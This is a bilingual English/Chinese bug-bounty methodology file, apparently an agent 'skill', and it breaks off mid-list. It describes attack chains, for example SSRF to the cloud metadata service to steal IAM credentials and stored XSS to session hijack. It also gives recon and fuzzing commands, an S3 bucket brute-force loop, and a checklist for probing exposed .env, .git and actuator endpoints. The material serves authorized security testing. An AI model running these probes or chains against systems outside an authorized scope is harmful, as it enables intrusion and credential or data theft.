bug-bounty

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Bug Bounty Master Workflow

漏洞赏金主工作流

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
完整流水线:侦察 -> 学习 -> Hunting -> 验证 -> 报告。一个 skill 覆盖所有环节。

THE ONLY QUESTION THAT MATTERS

唯一重要的问题

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
“攻击者现在能否针对一个没有采取任何异常操作的真实用户实施此操作,并且会造成真实危害(盗取资金、泄露 PII、接管账户、代码执行)?”
如果答案为否——停止。不要撰写报告。不要继续探索。直接跳过。

Theoretical Bug = Wasted Time. Kill These Immediately:

理论漏洞 = 浪费时间。立即淘汰以下情况:

PatternKill Reason
"Could theoretically allow..."Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."Too many preconditions
"Wrong implementation but no practical impact"Wrong but harmless = not a bug
Dead code with a bug in itNot reachable = not a bug
Source maps without secretsNo impact
SSRF with DNS-only callbackNeed data exfil or internal access
Open redirect aloneNeed ATO or OAuth chain
"Could be used in a chain if..."Build the chain first, THEN report
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

模式淘汰原因
“理论上可能允许……”无法利用 = 不是漏洞
“攻击者满足 X、Y、Z 条件时可能……”前置条件过多
“实现错误但没有实际影响”虽然错误但无害 = 不是漏洞
含有漏洞的死代码无法触达 = 不是漏洞
不含密钥的 Source Map没有影响
只有 DNS 回调的 SSRF需要数据外泄或内网访问能力
单独的开放重定向需要与 ATO 或 OAuth 组成攻击链
“如果……可能用于组成攻击链”先构建攻击链,然后再报告
你必须证明实际危害。“可能”不是漏洞。证明它有效,否则放弃。

CRITICAL RULES

关键规则

  1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
  2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
  3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
  4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
  5. One bug class at a time -- go deep, don't spray
  6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
  7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
  8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
  9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
  10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
  11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
  12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
  13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
  14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
  15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
  16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
  17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
  18. LEAD BOARD — never lose a lead -- after recon run
    python3 bughunter/tools/lead_board.py ingest <target>
    +
    show
    +
    next
    . Route each signal to its skill ("GraphQL → hunt-graphql").
    touch
    when starting/killing/reporting. Focus on one lead; the board remembers the rest. Surface stale high-priority leads unprompted.
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see
skills/bb-methodology/SKILL.md
.
Tool catalogue:
bughunter/tools/README.md
(~50 tools). Orchestrator:
python3 bughunter/tools/hunt.py --target T
(auto lead ingest; add
--graphql
/
--cve-hunt
as needed).

  1. 先阅读完整范围——确认每个资产/域名均由目标组织拥有
  2. 不要提交理论漏洞——“攻击者现在能否盗取资金、泄露 PII、接管账户或执行代码?”如果不能,停止。
  3. 快速淘汰薄弱发现——撰写任何报告前先运行 7 问门禁
  4. 先验证再撰写——首先检查 CHANGELOG、设计文档和部署脚本
  5. 一次只处理一类漏洞——深入挖掘,不要四处撒网
  6. 确认数据并非已经公开——报告 API“泄露”前,先在无痕模式下检查 Web UI
  7. 5 分钟规则——探测目标 5 分钟后仍无任何结果(全部返回 401/403/404),立即转移目标
  8. 以影响为先进行 Hunting——询问“如果认证被破坏,最坏后果是什么?”如果没有什么有价值的目标,就跳过。
  9. 凭据泄露需要利用证明——仅发现密钥并不足够,必须证明它们可以访问什么
  10. 停止浅层侦察循环——不要反复探测 403,不要 grep 分析密钥,不要检查毫无价值的 staging 域名
  11. 业务影响高于漏洞类型——严重程度取决于具体上下文,而不只是漏洞类型
  12. 深入理解目标——开始 hunting 前,要像真实用户一样了解应用
  13. 不要过度依赖自动化——自动扫描会触发 WAF、造成速率限制,并发现与所有人相同的漏洞
  14. 优先 Hunting 竞争较少的漏洞类型——XSS/SSRF/XXE 的竞争最激烈。应扩展到:缓存投毒、Android/移动端漏洞、业务逻辑、竞态条件、OAuth/OIDC 链、CI/CD pipeline 攻击
  15. 1 小时规则——在同一目标上停滞 1 小时且毫无进展?切换上下文
  16. 双眼方法——结合系统性测试(检查清单)与异常检测(关注意外行为)
  17. T 型知识结构——在一个领域深入,同时广泛覆盖其他所有领域
  18. 线索看板——绝不能丢失任何线索——完成侦察后运行
    python3 bughunter/tools/lead_board.py ingest <target>
    ,再运行
    show
    和
    next
    。将每条信号路由到对应 skill(如“GraphQL -> hunt-graphql”)。开始、淘汰或报告时使用
    touch
    。专注于一条线索;看板会记住其余线索。主动呈现已过期的 高优先级 线索。
如需完整的 Hunting 方法论——包括 5 阶段非线性工作流、开发者心理框架、会话纪律、按阶段划分工具路由,以及 Wide/Deep 路线选择——请参阅
skills/bb-methodology/SKILL.md
。
工具目录:
bughunter/tools/README.md
(约 50 个工具)。编排器:
python3 bughunter/tools/hunt.py --target T
(自动导入线索;可根据需要添加
--graphql
/
--cve-hunt
)。

AUTH-AWARE HUNTING (when bugs live behind a login)

认证感知 Hunting(当漏洞隐藏在登录之后时)

Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment, privilege escalation, auth bypass, SSRF behind login, and most LLM/agent bugs are invisible until you log in. Load auth once at session start and every downstream tool (httpx, katana, ffuf, nuclei, dalfox, the SQLi / SSTI / upload PoC verifiers) sends those headers automatically.
bash
undefined
匿名侦察会遗漏最容易获得赏金的漏洞。IDOR、BOLA、批量赋值、权限提升、认证绕过、登录后的 SSRF,以及大多数 LLM/Agent 漏洞,在登录之前都不可见。在会话开始时加载一次认证信息,之后每个下游工具(httpx、katana、ffuf、nuclei、dalfox,以及 SQLi / SSTI / 上传 PoC 验证器)都会自动发送这些请求头。
bash
undefined

Pick ONE of these and run hunt.py normally:

Pick ONE of these and run hunt.py normally:

python3 bughunter/tools/hunt.py --target T --cookie 'session=eyJabc...' python3 bughunter/tools/hunt.py --target T --bearer 'eyJhbGciOi...' python3 bughunter/tools/hunt.py --target T --auth-file .private/T.json
python3 bughunter/tools/hunt.py --target T --cookie 'session=eyJabc...' python3 bughunter/tools/hunt.py --target T --bearer 'eyJhbGciOi...' python3 bughunter/tools/hunt.py --target T --auth-file .private/T.json

Or via env (persists for the shell):

Or via env (persists for the shell):

export BBHUNT_COOKIE='session=eyJabc...' python3 bughunter/tools/hunt.py --target T

**For IDOR / BOLA hunts**, load two sessions and diff behavior:

```bash
python3 bughunter/tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 bughunter/tools/hunt.py --target T --auth-file .private/T-user-b.json
export BBHUNT_COOKIE='session=eyJabc...' python3 bughunter/tools/hunt.py --target T

**对于 IDOR / BOLA Hunting**,加载两个会话并比较行为差异:

```bash
python3 bughunter/tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 bughunter/tools/hunt.py --target T --auth-file .private/T-user-b.json

Audit log entries carry different session_id hashes → diff which

Audit log entries carry different session_id hashes → diff which

endpoints behaved differently per identity.

endpoints behaved differently per identity.


**Safety**: cookies/tokens never appear in logs, hunt-memory, or `repr()`.
Only a 12-char `session_id` hash is recorded. `.private/` is gitignored.
MFA-skip and SAML signature-stripping probes deliberately stay anonymous —
that's the attack they're checking for.

Full guide: `docs/auth-sessions.md`. Template: `docs/auth.example.json`.

---

**安全措施**:Cookie/Token 永远不会出现在日志、hunt-memory 或 `repr()` 中。只会记录一个 12 字符的 `session_id` 哈希。`.private/` 已加入 gitignore。MFA 跳过和 SAML 签名剥离探测会刻意保持匿名,因为这正是它们要检查的攻击。

完整指南:`docs/auth-sessions.md`。模板:`docs/auth.example.json`。

---

A->B BUG SIGNAL METHOD (Cluster Hunting)

A->B 漏洞信号法(聚类 Hunting)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
**发现漏洞 A 后,系统性地 hunting 附近的漏洞 B 和 C。**这是漏洞赏金中最强大的方法之一。单个漏洞收益有限,而漏洞链的收益可达到 3-10 倍。

Known A->B->C Chains

已知 A->B->C 链

Bug A (Signal)Hunt for Bug BEscalate to C
IDOR (read)PUT/DELETE on same endpointFull account data manipulation
SSRF (any)Cloud metadata 169.254.169.254IAM credential exfil -> RCE
XSS (stored)Check if HttpOnly is set on session cookieSession hijack -> ATO
Open redirectOAuth redirect_uri accepts your domainAuth code theft -> ATO
S3 bucket listingEnumerate JS bundlesGrep for OAuth client_secret -> OAuth chain
Rate limit bypassOTP brute forceAccount takeover
GraphQL introspectionMissing field-level authMass PII exfil
Debug endpointLeaked environment variablesCloud credential -> infrastructure access
CORS reflects originTest with credentials: includeCredentialed data theft
Host header injectionPassword reset poisoningATO via reset link
漏洞 A(信号)Hunting 漏洞 B升级为漏洞 C
IDOR(读取)对同一端点执行 PUT/DELETE完整账户数据操纵
SSRF(任意类型)云元数据 169.254.169.254IAM 凭据外泄 -> RCE
XSS(存储型)检查会话 Cookie 是否设置 HttpOnly会话劫持 -> ATO
开放重定向OAuth redirect_uri 接受你的域名授权码窃取 -> ATO
S3 Bucket 可列举枚举 JS BundleGrep OAuth client_secret -> OAuth 链
速率限制绕过OTP 暴力破解账户接管
GraphQL introspection缺少字段级认证大规模 PII 外泄
Debug endpoint泄露环境变量云凭据 -> 基础设施访问
CORS 反射 Origin使用凭据测试:include带凭据的数据窃取
Host 请求头注入密码重置投毒通过重置链接达成 ATO

Cluster Hunt Protocol (6 Steps)

聚类 Hunting 协议(6 个步骤)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.
1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

Real Examples

真实案例

Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

Coinbase S3->Bundle->Secret->OAuth 链:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot 链:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

TOP 1% HACKER MINDSET

顶尖 1% 黑客思维

How Elite Hackers Think Differently

顶尖黑客有何不同

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
普通 Hunter:运行工具、检查清单,30 分钟后放弃。 顶尖 1%:建立应用内部机制的心智模型。询问“为什么它会以这种方式工作?”不是问“这个 endpoint 做什么”,而是问“什么业务决策促使开发者以这种方式构建它,以及他们可能采取了哪些捷径?”

Pre-Hunt Mental Framework

Hunting 前心理框架

Step 1: Crown Jewel Thinking

第 1 步:核心资产思维

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
  • Financial app -> drain funds, transfer to attacker account
  • Healthcare -> PII leak, HIPAA violation
  • SaaS -> tenant data crossing, admin takeover
  • Auth provider -> full SSO chain compromise
在接触任何内容前,先问:“如果我是攻击者,并且只能对这款应用做一件事,什么会造成最大破坏?”
  • 金融应用 -> 转移资金到攻击者账户
  • 医疗健康 -> PII 泄露、违反 HIPAA
  • SaaS -> 租户数据越界、管理员接管
  • 认证提供商 -> 完整 SSO 链失陷

Step 2: Developer Empathy

第 2 步:开发者同理心

Think like the developer who built the feature:
  • What was the simplest implementation?
  • What shortcut would a tired dev take at 2am?
  • Where is auth checked -- controller? middleware? DB layer?
  • What happens when you call endpoint B without going through endpoint A first?
像构建该功能的开发者一样思考:
  • 最简单的实现方式是什么?
  • 一个疲惫的开发者凌晨 2 点会采取什么捷径?
  • 认证在哪里检查——controller、middleware 还是 DB 层?
  • 如果不先调用 endpoint A 就调用 endpoint B,会发生什么?

Step 3: Trust Boundary Mapping

第 3 步:信任边界映射

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?
Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Step 4: Feature Interaction Thinking

第 4 步:功能交互思维

  • Does this new feature reuse old auth, or does it have its own?
  • Does the mobile API share auth logic with the web app?
  • Was this feature built by the same team or a third-party?
  • 这个新功能会复用旧认证,还是拥有独立认证?
  • 移动端 API 是否与 Web 应用共享认证逻辑?
  • 此功能是由同一团队构建,还是由第三方构建?

The Top 1% Mental Checklist

顶尖 1% 心理检查清单

  • I know the app's core business model
  • I've used the app as a real user for 15+ minutes
  • I know the tech stack (language, framework, auth system, caching)
  • I've read at least 3 disclosed reports for this program
  • I have 2 test accounts ready (attacker + victim)
  • I've defined my primary target: ONE crown jewel I'm hunting for today
  • 我了解应用的核心业务模式
  • 我已作为真实用户使用应用至少 15 分钟
  • 我了解技术栈(语言、框架、认证系统、缓存)
  • 我至少阅读了该计划公开披露的 3 份报告
  • 我准备好了两个测试账户(攻击者与受害者)
  • 我已确定当前唯一重点 Hunting 的核心资产

Mindset Rules from Top Hunters

顶尖 Hunter 的思维规则

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

“Hunting 功能,而不是 endpoint”——找出为某个功能提供服务的所有 endpoint,然后测试它们之间的交互。
“授权不一致是你的朋友”——如果应用在 9 个位置检查了认证,却漏掉第 10 个,那就是漏洞。
“新功能 = 未经审查”——最近 30 天上线功能的security成熟度最低。
“思考二阶影响”——二阶 SSRF:URL 保存在 DB 中,随后由 cron job 获取。二阶 XSS:存储时内容干净,但在管理面板中不安全地渲染。
“追踪资金”——任何涉及支付、计费、积分、退款的功能,都是开发者最容易做出安全捷径的地方。
“移动应用使用的 API”——移动应用经常调用更旧或不同的 API 版本。它们属于同一公司,但攻击面不同,成熟度更低。
“通过差异发现漏洞”——比较旧 API 文档与新文档。比较移动端 API 与 Web API。比较免费用户可请求的内容与付费用户响应中可获得的内容。

TOOLS

工具

Go Binaries

Go Binaries

ToolUse
subfinderPassive subdomain enum
httpxProbe live hosts
dnsxDNS resolution
nucleiTemplate scanner
katanaCrawl
waybackurlsArchive URLs
gauKnown URLs
dalfoxXSS scanner
ffufFuzzer
anewDedup append
qsreplaceReplace param values
assetfinderSubdomain enum
gfGrep patterns (xss, sqli, ssrf, redirect)
interactsh-clientOOB callbacks
工具用途
subfinder被动子域名枚举
httpx探测存活主机
dnsxDNS 解析
nuclei模板扫描器
katana爬取
waybackurls归档 URL
gau已知 URL
dalfoxXSS 扫描器
ffufFuzzer
anew去重追加
qsreplace替换参数值
assetfinder子域名枚举
gfGrep 模式(xss、sqli、ssrf、redirect)
interactsh-clientOOB 回调

Tools to Install When Needed

需要时安装的工具

ToolUseInstall
arjunHidden parameter discovery
pip3 install arjun
paramspiderURL parameter mining
pip3 install paramspider
kiterunnerAPI endpoint brute
go install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenumCloud asset enumeration
pip3 install cloud_enum
trufflehogSecret scanning
brew install trufflehog
gitleaksSecret scanning
brew install gitleaks
XSStrikeAdvanced XSS scanner
pip3 install xsstrike
SecretFinderJS secret extraction
pip3 install secretfinder
sqlmapSQL injection
pip3 install sqlmap
subzySubdomain takeover
go install github.com/LukaSikic/subzy@latest
工具用途安装方式
arjun隐藏参数发现
pip3 install arjun
paramspiderURL 参数挖掘
pip3 install paramspider
kiterunnerAPI endpoint 暴力枚举
go install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenum云资产枚举
pip3 install cloud_enum
trufflehogSecret 扫描
brew install trufflehog
gitleaksSecret 扫描
brew install gitleaks
XSStrike高级 XSS 扫描器
pip3 install xsstrike
SecretFinderJS secret 提取
pip3 install secretfinder
sqlmapSQL 注入
pip3 install sqlmap
subzy子域名接管
go install github.com/LukaSikic/subzy@latest

Static Analysis (Semgrep Quick Audit)

静态分析(Semgrep 快速审计)

bash
undefined
bash
undefined

Install: pip3 install semgrep

Install: pip3 install semgrep

Broad security audit

Broad security audit

semgrep --config=p/security-audit ./ semgrep --config=p/owasp-top-ten ./
semgrep --config=p/security-audit ./ semgrep --config=p/owasp-top-ten ./

Language-specific rulesets

Language-specific rulesets

semgrep --config=p/javascript ./src/ semgrep --config=p/python ./ semgrep --config=p/golang ./ semgrep --config=p/php ./ semgrep --config=p/nodejs ./
semgrep --config=p/javascript ./src/ semgrep --config=p/python ./ semgrep --config=p/golang ./ semgrep --config=p/php ./ semgrep --config=p/nodejs ./

Targeted rules

Targeted rules

semgrep --config=p/sql-injection ./ semgrep --config=p/jwt ./
semgrep --config=p/sql-injection ./ semgrep --config=p/jwt ./

Custom pattern (example: find SQL concat in Python)

Custom pattern (example: find SQL concat in Python)

semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

Output to file for analysis

Output to file for analysis

semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefined
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefined

FFUF Advanced Techniques

FFUF 高级技巧

bash
undefined
bash
undefined

THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)

THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)

ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)

Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)

seq 1 10000 | ffuf --request req.txt -w - -ac
seq 1 10000 | ffuf --request req.txt -w - -ac

Authenticated API endpoint brute

Authenticated API endpoint brute

ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

Parameter discovery

Parameter discovery

ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

Hidden POST parameters

Hidden POST parameters

ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

Subdomain scan

Subdomain scan

ffuf -w subs.txt -u https://FUZZ.target.com -ac
ffuf -w subs.txt -u https://FUZZ.target.com -ac

Filter strategies:

Filter strategies:

-fc 404,403 Filter status codes

-fc 404,403 Filter status codes

-fs 1234 Filter by response size

-fs 1234 Filter by response size

-fw 50 Filter by word count

-fw 50 Filter by word count

-fr "not found" Filter regex in response body

-fr "not found" Filter regex in response body

-rate 5 -t 10 Rate limit + fewer threads for stealth

-rate 5 -t 10 Rate limit + fewer threads for stealth

-e .php,.bak,.old Add extensions

-e .php,.bak,.old Add extensions

-o results.json Save output

-o results.json Save output

undefined
undefined

AI-Assisted Tools

AI 辅助工具

  • strix (usestrix.com) -- open-source AI scanner for automated initial sweep
  • strix(usestrix.com)——用于自动化初始扫描的开源 AI 扫描器

AI-ASSISTED HUNT LOOP

AI 辅助 HUNTING 循环

Use AI as a second analyst, not as the authority.
  1. Decompose the feature — ask for actors, assets, trust boundaries, hidden state, and sibling endpoints.
  2. Generate the test matrix — anonymous vs authenticated, user A vs user B, fresh vs stale session, web vs mobile, legacy vs current API.
  3. Ask for developer shortcuts — where a rushed implementation would likely skip a check, reuse a helper, or trust a client-side value.
  4. Ask for adjacent bugs — if A is real, what B and C are likely nearby?
  5. Convert every idea into one request — the output must be a concrete HTTP experiment or it stays speculation.
  6. Proof first, report later — AI can rank hypotheses, but only live request/response diffs and cross-account deltas can promote a finding.
Good prompt shapes:
  • "Given this feature, list the 10 most likely trust-boundary mistakes."
  • "What sibling routes, methods, or roles should I test next?"
  • "What would a tired developer probably reuse here?"
  • "What is the smallest reproducible request that could prove impact?"
  • "What evidence would downgrade this to N/A?"

将 AI 作为第二分析员,而不是权威。
  1. 拆解功能——询问参与者、资产、信任边界、隐藏状态和同级 endpoint。
  2. 生成测试矩阵——匿名与已认证、用户 A 与用户 B、新鲜与过期会话、Web 与移动端、旧版与当前 API。
  3. 询问开发者捷径——仓促实现最可能在哪里跳过检查、复用辅助函数或信任客户端提供的值。
  4. 询问相邻漏洞——如果 A 真实存在,附近最可能出现哪些 B 和 C?
  5. 将每个想法转换成一个请求——输出必须对应具体的 HTTP 实验,否则只能算推测。
  6. 先证明,后报告——AI 可以对假设进行排序,但只有实时请求/响应差异和跨账户差异才能将发现提升为有效漏洞。
优秀的提示词形式:
  • “给定这个功能,列出最有可能出现的 10 个信任边界错误。”
  • “接下来应该测试哪些同级路由、方法或角色?”
  • “疲惫的开发者最可能在这里复用哪些内容?”
  • “证明影响所需的最小可复现请求是什么?”
  • “哪些证据会将此发现降级为 N/A?”

PHASE 1: RECON

阶段 1:资产侦察

Standard Recon Pipeline

标准侦察流水线

bash
undefined
bash
undefined

Step 1: Subdomains

Step 1: Subdomains

subfinder -d TARGET -silent | anew /tmp/subs.txt assetfinder --subs-only TARGET | anew /tmp/subs.txt
subfinder -d TARGET -silent | anew /tmp/subs.txt assetfinder --subs-only TARGET | anew /tmp/subs.txt

Step 2: Resolve + live hosts

Step 2: Resolve + live hosts

cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

Step 3: URL collection

Step 3: URL collection

cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt echo TARGET | waybackurls | anew /tmp/urls.txt gau TARGET | anew /tmp/urls.txt
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt echo TARGET | waybackurls | anew /tmp/urls.txt gau TARGET | anew /tmp/urls.txt

Step 4: Nuclei scan

Step 4: Nuclei scan

nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

Step 5: JS secrets

Step 5: JS secrets

cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt
cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt

Run SecretFinder on each JS file

Run SecretFinder on each JS file

Step 6: GitHub dorking (if target has public repos)

Step 6: GitHub dorking (if target has public repos)

GitDorker -org TARGET_ORG -d dorks/alldorksv3

GitDorker -org TARGET_ORG -d dorks/alldorksv3

undefined
undefined

Cloud Asset Enumeration

云资产枚举

bash
undefined
bash
undefined

Manual S3 brute

Manual S3 brute

for suffix in dev staging test backup api data assets static cdn; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/") [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com" done
undefined
for suffix in dev staging test backup api data assets static cdn; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/") [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com" done
undefined

API Endpoint Discovery

API Endpoint 发现

bash
undefined
bash
undefined

ffuf API endpoint brute

ffuf API endpoint brute

ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefined
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefined

HackerOne Scope Retrieval

HackerOne 范围获取

bash
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'
bash
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

Quick Wins Checklist

快速收益检查清单

  • Subdomain takeover (
    subjack
    ,
    subzy
    )
  • Exposed
    .git
    (
    /.git/config
    )
  • Exposed env files (
    /.env
    ,
    /.env.local
    )
  • Default credentials on admin panels
  • JS secrets (SecretFinder, jsluice)
  • Open redirects (
    ?redirect=
    ,
    ?next=
    ,
    ?url=
    )
  • CORS misconfig (test
    Origin: https://evil.com
    + credentials)
  • S3/cloud buckets
  • GraphQL introspection enabled
  • Spring actuators (
    /actuator/env
    ,
    /actuator/heapdump
    ) — for full framework debug surface + triggering techniques → web2-vuln-classes "Error Disclosure / Debug Endpoints"
  • Firebase open read (
    https://TARGET.firebaseio.com/.json
    )
  • 子域名接管(
    subjack
    、
    subzy
    )
  • 暴露的
    .git
    (
    /.git/config
    )
  • 暴露的环境变量文件(
    /.env
    、
    /.env.local
    )
  • 管理面板的默认凭据
  • JS secret(SecretFinder、jsluice)
  • 开放重定向(
    ?redirect=
    、
    ?next=
    、
    ?url=
    )
  • CORS 配置错误(测试
    Origin: https://evil.com
    + credentials)
  • S3/云 Bucket
  • 已启用的 GraphQL introspection
  • Spring actuator(
    /actuator/env
    、
    /actuator/heapdump
    )——如需完整的框架调试攻击面和触发技巧,请参阅 web2-vuln-classes 中的“Error Disclosure / Debug Endpoints”
  • Firebase 开放读取(
    https://TARGET.firebaseio.com/.json
    )

Technology Fingerprinting

技术指纹识别

SignalTechnology
Cookie:
XSRF-TOKEN
+
*_session
Laravel
Cookie:
PHPSESSID
PHP
Header:
X-Powered-By: Express
Node.js/Express
Response:
wp-json
/
wp-content
WordPress
Response:
{"errors":[{"message":
GraphQL
Header:
X-Powered-By: Next.js
Next.js
After any stack is identified: immediately check its debug surface — probe the framework-specific paths from web2-vuln-classes "Error Disclosure / Debug Endpoints", then grep all 4xx/5xx response bodies for the framework regex patterns there before moving to Phase 3.
信号技术
Cookie:
XSRF-TOKEN
+
*_session
Laravel
Cookie:
PHPSESSID
PHP
Header:
X-Powered-By: Express
Node.js/Express
Response:
wp-json
/
wp-content
WordPress
Response:
{"errors":[{"message":
GraphQL
Header:
X-Powered-By: Next.js
Next.js
**识别任何技术栈后:**立即检查其调试攻击面——探测 web2-vuln-classes 中“Error Disclosure / Debug Endpoints”所列的框架专用路径,然后在进入阶段 3 前,grep 所有 4xx/5xx 响应体,查找其中的框架正则模式。

Framework Quick Wins

框架快速收益

Laravel:
/horizon
,
/telescope
,
/.env
,
/storage/logs/laravel.log
WordPress:
/wp-json/wp/v2/users
,
